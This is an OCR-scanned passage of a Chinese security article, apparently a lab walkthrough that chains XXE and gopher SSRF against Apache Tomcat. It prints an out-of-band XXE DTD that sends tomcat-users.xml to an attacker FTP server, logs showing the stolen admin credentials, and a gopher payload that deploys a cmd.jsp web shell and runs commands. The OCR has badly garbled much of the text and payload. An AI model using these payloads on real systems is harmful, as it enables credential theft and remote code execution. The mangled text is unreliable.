backup:x:34:34:-backup: var/backups:usr/zhin nologin
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listx:38:38 :Mailing List I\-Ianaget:._'*.'aI-']ist:.'usr.-'sbin?n.olog:i.u
re:x:39:3%red: var run ired-/ usr/shin‘nelogin
gnatsx41:41:Gnatz: Bug-Reporting System (admin):var/lib/gnats: ‘uesr/sbin/nolegin

Hefi 3= FRIEEN tomcat BHEAY tomcat-user.xml HIEFISEAGBLSTIZAVINEIRSS
B

1Rt ftp BRSSH0 web BRSSHUARSSRR, FTP fasei=2iMEBRY DTD £UE, WEB RHHESZ
FTP g9 payload.,

IANE https://github.com/staaldraad/xxeserv

wE—IMERRY dtd,

# cat oob.dtd

<IENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://192.168.11.130:2121/%data3;">">

./xxeserv -wp 4444 -w -p[-wpAJT)GwebI & Mwebiii 1 -pIFJE FTPG 1]

# ./xxeserv -wp 4444 -w
ZBZEfﬁ?fZZ 22:02:18 [»] Starting Web Server on 4444 [./]
[*] Found certificate files in directory. Using these.

[*] UNO Listening ...
2020/07/22 22:02:18 [*] GO XXE FTP Server - Port: 2121

2970355EY tomcat-user.xml EEEHIMFZRS

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 30/36
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Fa5E XXE:

<!DOCTYPE Anything [

<IENTITY % data3 SYSTEM "file:///opt/tomcat/conf/tomcat-users.xml">
<!ENTITY % sp SYSTEM "http://192.168.11.130:4444/dtds/oob.dtd">
%sp;

%param3;

%exfil;

1>

<book>

<title>00B EXFILL</title>

<isbn>31337</isbn>

<author>xxx</author>

</book>

# fxxeserv -wp 4hkh -W

2&2&!&?}22 22:02:18 [%] Starting Web Server on 4444 [./]
[*] Found certificate files in directory. Using these.
[*] UNO Listening...
2020/07/22 22:02:18 [*] GO XXE FTP Server - Port: 2121
2020/07/22 22:47:07 [192.168.11.139:58086][200] /dtds/oob.dtd
2020/07/22 22:47:07 [*] Connection Accepted from [192.168.11.139:344082]
USER: anonymous
PASS: Javal.6.0_22a
/<tomcat-users>

<role rolename="manager"”
/>

<user name="admin" password="admin" roles="manager"

/>

<
tomcat-users>

2020/07/22 22:47:07 [*] Closing FTP Connection
|

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 31/36
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{EFERIAAIT—H RCE,

FIZ https://github.com/pimps/gopher-tomcat-deployer

HeAl IR AN H A S ZAB -

python gopher-tomcat-deployer.py -u admin -p admin -t 127.0.0.1 -pt 8080 cmd.jsp

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A

gopher: //127.0.0.1:8080,/_%50%4fX53%54%20%2 fX6d%61%6e%61%67%6
32%37%2e%30%2e%30%2e%31%3a%3IBRINRIBEINXRDIXDaNLIX6 THORT 4H65H
XTSX6eXELEE1NT2HTIRIAN2dN2dN2dN2dN2dN2dN2dN2dR2dN2dN2d%2 d¥%2 ¢
BE33X33XIZXILEITEILNI2XIBRILEI1XDdXDa%L3IX6THOeRT 4X65%62%T 4%
73%69%63%20%50%57%52%7 4615 7R3 L3 6H59%5THRE2HT 4%61%5TH3 4%3dY
XESXE3INTSRT2XE5K2dES2XE5KT1XTSRE0KTIRTLETIXIaK20%3I 1K d%Da%KD
S%31%30%33%32%31%34%32%30%37%31%35%35%34%39%36%36%33%33%33%3
72%6d%2d%64%01%T4%01%3DX20%0eX01X0dX65XIdR22HO4LK05%TOROCROTH
XoeRT4%2dESLKETORTDROSXR3aK2Z0XO1XTORT 0RO CHROIKGIRO1%T 4HOIXRETXD
BR4eX0ek2BXD0XDLXDOXDOXDOXDLXODXDDXOTXODXODXODROIXOAHDLEZ eXb
baXbl1X76%01%2eX09%0TRZeX2a%22%25%3eXDdXDaR3cHISROdND a2 T2 FH
EoTRodEOdEG1REeXo4R2DRL5KTBROSRDIRT SRT 4RO9K6THOeH2DR2BRT7 5%b
9XObXO9%b5X04KEIaN20KI 2RI TR TRIDRIOH2TRIZR30XI0X3IX0dRDa%2 TR
L4X3IdE22H4LTEGSRDLKZ2R20N4eHL1XLdRL5XIdR22XOdETIROOKE TET 2X0dH
E20%4ek41¥4dRE45%3dR22XR63%0dR0LR22X3eX0dRDaXICRLINLeHDOES SRS
fR4b%ELTRS2%LdREIeXDdRDaRICHRTOXT 2X05%IeX0dR0ak3 cH25%0dXDaRo9%0
3d%20%6e%7 SHECHOCH2O%2DXTDEDIXDaN2DH20%20%20%20%20%20%20%6 T X
X2eXeTEESET AXSDNE1ET 2X01X6dNE5%T LHE5NT 2H2BRE22H63IX6dNELH22%2 0
d%20%52%7 5%6eXT LX60%dXE5%2 b THESRT LH52%T 5%6e%T 4%69%6d%65%2)
B4%22%29%29%3b%Dd%Da%20%20%20%20%20%20%20X20HLTRTSHTL%T0%T 5H
X3IbXOdXDaX20%20%20%20%20%20%20%20%L0%0eXTORTSRTLR53IXTLHT 2%6
D%E20%20%20%20%20%4LL%01%T L6 1%L0%0RTDRTSHT LHB53%T 4%T 2%65%61%6
Bd%Dak2D%20%20%20%20%20%20%20%53%T L%T 2X69%6e%6TH20%64%69%T 3H
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HACK THE PLANET!!'1!11!

BAERAY gopher & payload H:

<!DOCTYPE Anything [
<!ENTITY xxe SYSTEM " [gopher paylcad]">
1> B
<bock>
<titler&axxe;</title>
<isbn>31337</isbn>
<author>Jon Snow</author>
{fbookﬂ

Add

IR cmd BRF0 cmd.jsp HEeghiTam <.

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A 33/36
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Gopher iS5 F 4. 25

Path Display Name

! XXE

/fcmd

/manager Tomcat Manager Application
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Send

Command: 1s

app
bin
boot
dev
etc
home
jdk-6uz22-linux-x6é4.bin
1lib
1lib64
media
mnt
opt
proc
root
run
sbin
5rv
5yS
tmp
usr

https://mp.weixin.qq.com/s/SjGvsI3jxOtyg6BtGgFf5A
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© & 192.168.11.139:8080/cmd/cmd jsp?cmd=Is
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var

i

<
¢

%X Gopher MY ELITINEL T HLERIZES, (EBEMSERRNLAR N A EAGAITD
. EERE KRHEESERRE TITFS RS,

SEER:

https://en.wikipedia.org/wiki/Gopher_(protocol

https://www. Leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://joychou.org/web/phpssrf.html
https://blog.chaitin.cn/gopher-attack-surfaces/
https://staaldraad.github.i10/2016/12/11/xxeftp/
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